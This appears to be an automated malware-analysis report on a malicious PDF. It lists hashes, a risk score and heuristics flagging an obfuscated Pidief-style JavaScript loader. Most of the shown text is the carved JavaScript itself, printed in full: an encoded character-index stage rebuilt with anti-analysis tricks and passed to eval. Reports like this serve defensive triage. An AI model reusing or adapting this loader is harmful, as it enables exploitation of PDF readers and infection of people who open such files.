Malicious PDF — malware analysis report

Static analysis result for SHA-256 22a1004435fbc6a8…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-08
MD5: 7f24c3fc38fb4c17efa7cd8c9e3ab03f SHA-1: e67c8bdec6abf1a70cd68217515097c36a51236e SHA-256: 22a1004435fbc6a830688eef8ce1cd6c45425092e74f90e25634d8f9de1f4e71
88 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x330 11329 bytes
SHA-256: fc6771c0f3a6ea469599aff95bcb03304f438eb1918078a64bf266abcf51d521
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
j='vt34t';
a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
b="l";
b2="a"
+b;
z='0a1a2a3a2a4a5a4a6a6a7a8a9a10a11a4a12a13a14a15a16a16a12a13a1a17a3a18a12a13a14a19a1a17a12a13a20a19a3a18a12a13a3a21a15a18a12a13a15a15a19a1a12a13a16a18a17a22a12a13a18a22a14a7a12a13a14a7a15a22a12a13a22a17a18a22a12a13a20a22a14a7a12a13a19a16a5a17a12a13a20a16a14a7a12a13a15a15a22a14a12a13a16a16a23a7a12a13a19a3a14a7a12a13a22a15a15a17a12a13a15a15a20a18a12a13a14a5a24a17a12a13a5a19a3a3a12a13a1a1a5a22a12a13a7a14a1a1a12a13a18a22a14a7a12a13a17a15a15a22a12a13a15a21a18a16a12a13a20a19a22a16a12a13a14a20a1a7a12a13a24a18a15a18a12a13a3a18a14a19a12a13a19a5a20a19a12a13a3a7a3a21a12a13a19a5a18a17a12a13a14a7a19a16a12a13a15a17a20a19a12a13a20a18a14a7a12a13a20a14a15a19a12a13a1a19a22a15a12a13a14a7a19a16a12a13a24a22a20a16a12a13a1a19a22a15a12a13a17a21a15a15a12a13a18a5a18a21a12a13a25a23a1a17a12a13a17a19a22a15a12a13a23a7a15a15a12a13a7a3a22a1a12a13a15a14a5a22a12a13a20a18a1a24a12a13a17a5a22a14a12a13a22a23a17a7a12a13a23a25a22a15a12a13a3a7a18a22a12a13a15a7a1a5a12a13a20a19a5a1a12a13a19a3a3a16a12a13a19a3a14a7a12a13a22a15a24a18a12a13a16a16a23a23a12a13a22a17a14a7a12a13a14a23a18a7a12a13a3a17a18a16a12a13a19a18a1a1a12a13a22a17a24a18a12a13a23a14a14a7a12a13a23a23a22a15a12a13a22a18a14a7a12a13a22a15a14a7a12a13a25a7a17a19a12a13a19a21a19a3a12a13a3a7a17a15a12a13a25a23a19a15a12a13a16a14a14a7a12a13a14a22a24a22a12a13a22a17a20a23a12a13a20a18a15a15a12a13a21a16a22a15a12a13a1a15a3a7a12a13a16a14a14a7a12a13a14a7a22a14a12a13a16a25a1a20a12a13a19a21a22a19a12a13a21a14a3a14a12a13a1a1a1a1a12a13a3a24a1a1a12a13a3a14a1a21a12a13a22a22a22a22a12a13a22a22a22a22a12a13a19a22a19a14a12a13a18a22a16a25a12a13a1a1a16a14a12a13a22a22a22a22a12a13a19a22a22a22a12a13a17a22a14a15a12a13a19a22a5a21a12a13a14a7a19a19a12a13a14a7a3a17a12a13a5a22a19a3a12a13a17a15a14a15a12a13a1a1a22a19a12a13a16a14a3a15a12a13a16a3a16a1a12a13a22a22a22a22a12a13a20a19a16a14a12a13a16a17a20a24a12a13a19a18a16a23a12a13a5a16a1a1a12a13a17a18a14a15a12a13a14a7a22a14a12a13a3a14a3a14a12a13a1a1a16a5a12a13a1a1a1a1a12a13a22a24a3a7a12a13a20a24a3a7a12a13a3a17a14a5a12a13a22a5a22a18a12a13a22a22a22a22a12a13a19a17a14a23a12a13a22a17a24a18a12a13a22a18a17a20a12a13a20a24a24a18a12a13a16a20a16a19a12a13a17a20a20a15a12a13a24a18a18a18a12a13a20a16a22a18a12a13a15a15a20a24a12a13a17a20a15a24a12a13a24a18a18a18a12a13a24a22a22a14a12a13a20a15a24a23a12a13a19a15a24a22a12a13a1a14a16a14a12a13a22a22a22a22a12a13a1a1a22a22a12a13a22a17a19a16a12a13a3a14a14a7a12a13a17a21a15a15a12a13a17a20a19a5a12a13a5a23a18a18a12a13a20a20a22a22a12a13a16a24a20a22a12a13a17a20a20a18a12a13a5a23a18a18a12a13a24a3a22a19a12a13a16a17a16a18a12a13a17a16a16a17a12a13a5a23a18a18a12a13a22a22a22a21a12a13a14a25a19a21a12a13a22a18a17a5a12a13a14a14a15a22a12a13a5a23a18a18a12a13a18a5a22a18a12a13a16a25a19a5a12a13a16a25a22a22a12a13a19a15a22a22a12a13a16a25a19a20a12a13a1a1a22a22a12a13a5a18a19a16a12a13a17a22a14a19a12a13a5a16a20a19a12a13a22a22a16a25a12a13a1a1a19a15a12a13a22a18a19a16a12a13a22a22a16a25a12a13a3a7a14a15a12a13a19a15a22a17a12a13a19a16a1a1a12a13a14a15a22a18a12a13a22a17a17a15a12a13a22a24a3a7a12a13a5a15a3a7a12a13a14a22a18a20a12a13a22a22a15a1a12a13a1a25a20a19a12a13a14a22a18a20a12a13a22a22a15a1a12a13a17a18a20a19a12a13a22a22a16a25a12a13a1a3a16a25a12a13a19a16a1a1a12a13a3a14a22a14a12a13a1a3a21a17a12a13a1a1a1a1a12a13a18a3a14a3a12a13a3a17a22a3a12a13a1a3a21a14a12a13a22a3a14a25a12a13a16a1a14a21a12a13a7a23a22a5a12a13a17a25a15a15a12a13a19a7a14a25a12a13a17a16a5a7a12a13a20a21a18a16a12a13a5a25a15a16a12a13a20a22a24a1a12a13a20a18a16a14a12a13a20a22a20a18a12a13a24a1a15a25a12a13a16a5a24a1a12a13a16a19a16a18a12a13a16a5a16a7a12a13a16a15a16a3a12a13a16a23a16a5a12a13a20a22a16a15a12a13a16a15a24a3a12a13a16a23a16a1a12a13a20a20a24a1a12a13a20a22a24a3a12a13a20a22a16a14a12a13a16a16a15a1a12a13a15a22a15a23a12a13a16a19a24a16a12a13a15a19a15a23a12a13a22a22a22a22a4a26a1a13a27a17a28a0a29a27a30a3a31a32a33a2a33a25a34a35a36a6a37a38a39a0a40a3a2a33a25a41a40a3a27a10a28a39a42a24a43a35a36a6a37a33a25a44a11a33a25a26a45a33a25a11a33a25a41a9a13a7a9a28a33a0a27a10a2a22a34a35a36a46a24a6a26a33a3a28a13a33a27a30a33a25a26a45a30a1a13a27a17a28a0a29a27a30a7a47a2a6a37a32a25a33a30a23a48a10a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a32a38a11a22a47a22a17a22a17a22a17a22a17a26a32a25a33a30a25a23a23a33a11a22a47a18a22a22a22a22a22a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a9a17a51a40a3a27a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a25a23a23a33a52a2a9a17a51a40a3a27a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a17a29a13a27a28a24a11a2a32a38a52a22a47a18a22a22a22a22a22a6a46a25a23a23a33a26a1a29a33a2a32a25a33a30a17a29a13a27a28a11a22a26a17a29a13a27a28a43a17a29a13a27a28a24a26a17a29a13a27a28a44a44a6a37a23a48a10a54a17a29a13a27a28a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a29a32a3a33a1a40a29a38a11a13a27a3a9a17a25a50a3a2a53a12a13a22a17a22a17a12a13a22a17a22a17a53a6a26a38a39a0a40a3a2a29a32a3a33a1a40a29a38a41a40a3a27a10a28a39a43a18a18a21a19a24a6a37a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try
{
if((app+'').substr(2,4) == 'bjec')throw 1;
}catch(q){
e=j[
's'
+
'u'+"b"+'str']();
try{
b='e'+"v"+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
{
s="";
for(j=0;j<z['length'];j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[
j]];
}
}}

try{if(!google.search())new ewt;}
catch(q){
e(s);
}

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